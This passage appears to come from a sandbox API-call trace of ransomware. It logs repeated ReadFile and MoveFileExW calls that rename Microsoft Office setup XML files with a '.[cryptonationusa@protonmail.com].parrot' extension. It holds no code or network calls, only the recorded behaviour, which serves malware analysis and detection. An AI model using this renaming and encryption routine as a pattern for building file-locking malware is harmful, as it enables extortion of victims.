Controller\\Proof.es\\Proof.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.265] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.266] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.267] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.267] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5b2, lpOverlapped=0x0) returned 1 [0121.268] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.271] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.271] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.272] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.272] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x32b, lpOverlapped=0x0) returned 1 [0121.273] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0121.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.277] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.278] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.279] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x16fc, lpOverlapped=0x0) returned 1 [0121.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0121.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.284] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.286] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.286] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x41d4, lpOverlapped=0x0) returned 1 [0121.287] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0121.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.290] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.291] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.291] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7976, lpOverlapped=0x0) returned 1 [0121.292] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0121.300] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.300] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.301] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.301] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5aa, lpOverlapped=0x0) returned 1 [0121.302] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0121.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.307] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.309] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.309] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x648, lpOverlapped=0x0) returned 1 [0121.309] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.314] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.314] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.315] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.315] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1861, lpOverlapped=0x0) returned 1 [0121.316] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0121.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0121.321] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.321] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.325] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.325] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x251f, lpOverlapped=0x0) returned 1 [0121.326] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692290 | out: hHeap=0x5b0000) returned 1 [0121.330] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.330] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.332] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.332] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5061, lpOverlapped=0x0) returned 1 [0121.334] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0121.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0121.337] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.337] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.338] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.338] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2213, lpOverlapped=0x0) returned 1 [0121.339] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692290 | out: hHeap=0x5b0000) returned 1 [0121.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.391] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.393] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.393] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x978, lpOverlapped=0x0) returned 1 [0121.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0121.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.400] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.402] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.402] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x708, lpOverlapped=0x0) returned 1 [0121.402] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0121.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.404] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.408] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.408] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.409] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.410] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d7e, lpOverlapped=0x0) returned 1 [0121.411] 